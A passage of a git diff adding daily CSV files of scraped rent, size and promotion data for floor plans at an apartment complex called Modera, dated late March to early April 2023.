bd/1 ba,"Starting from $2,362/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,A09,1 bd/1 ba,"Starting from $2,020/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,A10,1 bd/1 ba,"Starting from $2,412/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,A12,1 bd/1 ba,"Starting from $2,606/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,A14D,1 bd/1 ba,"Starting from $2,337/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,A16D,1 bd/1 ba,"Starting from $2,815/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,B03,2 bd/2 ba,"Starting from $3,444/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,B05,2 bd/2 ba,"Starting from $3,568/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230326,modera,S01L,Studio / 1 ba,"Starting from $2,542/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230327.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230327.csv new file mode 100644 index 00000000000..a9cccee1334 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230327.csv @@ -0,0 +1,16 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230327,modera,S01,Studio / 1 ba,"Starting from $1,887/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,S01L,Studio / 1 ba,"Starting from $2,550/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,S02,Studio / 1 ba,"Starting from $1,891/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,A03,1 bd/1 ba,"Starting from $1,971/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,A05,1 bd/1 ba,"Starting from $1,925/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,A06,1 bd/1 ba,"Starting from $2,082/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,A07,1 bd/1 ba,"Starting from $2,362/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,A09,1 bd/1 ba,"Starting from $2,014/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,A10,1 bd/1 ba,"Starting from $2,412/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,A12,1 bd/1 ba,"Starting from $2,606/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,A14D,1 bd/1 ba,"Starting from $2,356/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,A16D,1 bd/1 ba,"Starting from $2,836/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,B03,2 bd/2 ba,"Starting from $3,467/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,B05,2 bd/2 ba,"Starting from $3,593/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230327,modera,S01L,Studio / 1 ba,"Starting from $2,550/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230328.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230328.csv new file mode 100644 index 00000000000..0a94f300df7 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230328.csv @@ -0,0 +1,16 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230328,modera,S01,Studio / 1 ba,"Starting from $1,887/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,S01L,Studio / 1 ba,"Starting from $2,550/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,S02,Studio / 1 ba,"Starting from $1,891/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,A03,1 bd/1 ba,"Starting from $1,971/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,A05,1 bd/1 ba,"Starting from $1,925/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,A06,1 bd/1 ba,"Starting from $2,082/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,A07,1 bd/1 ba,"Starting from $2,362/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,A09,1 bd/1 ba,"Starting from $2,014/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,A10,1 bd/1 ba,"Starting from $2,412/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,A12,1 bd/1 ba,"Starting from $2,606/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,A14D,1 bd/1 ba,"Starting from $2,356/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,A16D,1 bd/1 ba,"Starting from $2,836/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,B03,2 bd/2 ba,"Starting from $3,467/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,B05,2 bd/2 ba,"Starting from $3,593/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230328,modera,S01L,Studio / 1 ba,"Starting from $2,550/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230329.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230329.csv new file mode 100644 index 00000000000..54c53cf719d --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230329.csv @@ -0,0 +1,16 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230329,modera,S01,Studio / 1 ba,"Starting from $1,734/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,S01L,Studio / 1 ba,"Starting from $2,397/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,S02,Studio / 1 ba,"Starting from $1,751/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,A03,1 bd/1 ba,"Starting from $1,971/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,A05,1 bd/1 ba,"Starting from $1,925/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,A06,1 bd/1 ba,"Starting from $2,082/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,A07,1 bd/1 ba,"Starting from $2,362/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,A09,1 bd/1 ba,"Starting from $2,009/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,A10,1 bd/1 ba,"Starting from $2,412/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,A12,1 bd/1 ba,"Starting from $2,606/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,A14D,1 bd/1 ba,"Starting from $2,231/month",$300,777+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,A16D,1 bd/1 ba,"Starting from $2,700/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,B03,2 bd/2 ba,"Starting from $3,435/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,B05,2 bd/2 ba,"Starting from $3,558/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230329,modera,S01L,Studio / 1 ba,"Starting from $2,397/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230330.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230330.csv new file mode 100644 index 00000000000..4ba61d944a6 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230330.csv @@ -0,0 +1,15 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230330,modera,S01,Studio / 1 ba,"Starting from $1,734/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,S01L,Studio / 1 ba,"Starting from $2,397/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,S02,Studio / 1 ba,"Starting from $1,751/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,A03,1 bd/1 ba,"Starting from $1,971/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,A05,1 bd/1 ba,"Starting from $1,925/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,A06,1 bd/1 ba,"Starting from $2,082/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,A07,1 bd/1 ba,"Starting from $2,362/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,A09,1 bd/1 ba,"Starting from $2,092/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,A10,1 bd/1 ba,"Starting from $2,412/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,A12,1 bd/1 ba,"Starting from $2,606/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,A16D,1 bd/1 ba,"Starting from $2,700/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,B03,2 bd/2 ba,"Starting from $3,435/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,B05,2 bd/2 ba,"Starting from $3,558/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230330,modera,S01L,Studio / 1 ba,"Starting from $2,397/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230331.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230331.csv new file mode 100644 index 00000000000..e81aef4de98 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230331.csv @@ -0,0 +1,16 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230331,modera,S01,Studio / 1 ba,"Starting from $1,739/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,S01L,Studio / 1 ba,"Starting from $2,402/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,S02,Studio / 1 ba,"Starting from $1,755/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,A03,1 bd/1 ba,"Starting from $1,971/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,A05,1 bd/1 ba,"Starting from $1,980/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,A06,1 bd/1 ba,"Starting from $2,082/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,A07,1 bd/1 ba,"Starting from $2,362/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,A09,1 bd/1 ba,"Starting from $2,079/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,A10,1 bd/1 ba,"Starting from $2,412/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,A12,1 bd/1 ba,"Starting from $2,606/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,A16D,1 bd/1 ba,"Starting from $2,827/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,B01,2 bd/2 ba,"Starting from $3,413/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,B03,2 bd/2 ba,"Starting from $3,350/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,B05,2 bd/2 ba,"Starting from $3,466/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230331,modera,S01L,Studio / 1 ba,"Starting from $2,402/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230403.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230403.csv new file mode 100644 index 00000000000..1e58bd3f4f0 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230403.csv @@ -0,0 +1,16 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230403,modera,S01,Studio / 1 ba,"Starting from $1,739/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,S01L,Studio / 1 ba,"Starting from $2,402/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,S02,Studio / 1 ba,"Starting from $1,755/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,A03,1 bd/1 ba,"Starting from $1,971/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,A05,1 bd/1 ba,"Starting from $1,980/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,A06,1 bd/1 ba,"Starting from $2,081/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,A07,1 bd/1 ba,"Starting from $2,362/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,A09,1 bd/1 ba,"Starting from $2,038/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,A10,1 bd/1 ba,"Starting from $2,412/month",$300,672+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,A12,1 bd/1 ba,"Starting from $2,606/month",$300,751+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,A16D,1 bd/1 ba,"Starting from $2,751/month",$300,882,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,B01,2 bd/2 ba,"Starting from $3,401/month",$300,961,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,B03,2 bd/2 ba,"Starting from $3,350/month",$300,"1,039+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,B05,2 bd/2 ba,"Starting from $3,466/month",$300,"1,124+",/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230403,modera,S01L,Studio / 1 ba,"Starting from $2,402/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230404.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230404.csv new file mode 100644 index 00000000000..5dfdf66dbfe --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20230404.csv @@ -0,0 +1,16 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available +20230404,modera,S01,Studio / 1 ba,"Starting from $1,739/month",$300,477+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,S01L,Studio / 1 ba,"Starting from $2,482/month",$300,641+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,S02,Studio / 1 ba,"Starting from $1,755/month",$300,498+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,A03,1 bd/1 ba,"Starting from $1,964/month",$300,553+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,A05,1 bd/1 ba,"Starting from $2,015/month",$300,596,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,A06,1 bd/1 ba,"Starting from $2,081/month",$300,606,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,A07,1 bd/1 ba,"Starting from $2,362/month",$300,634+,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more details! *Restrictions apply." +20230404,modera,A09,1 bd/1 ba,"Starting from $2,031/month",$300,640,/,"Up to 6 weeks for free plus $1000 credit!* Valid Through : Mar 17, 2023 - Apr 30, 2023 Up to 6 weeks for free plus $1000 credit! Contact us for more 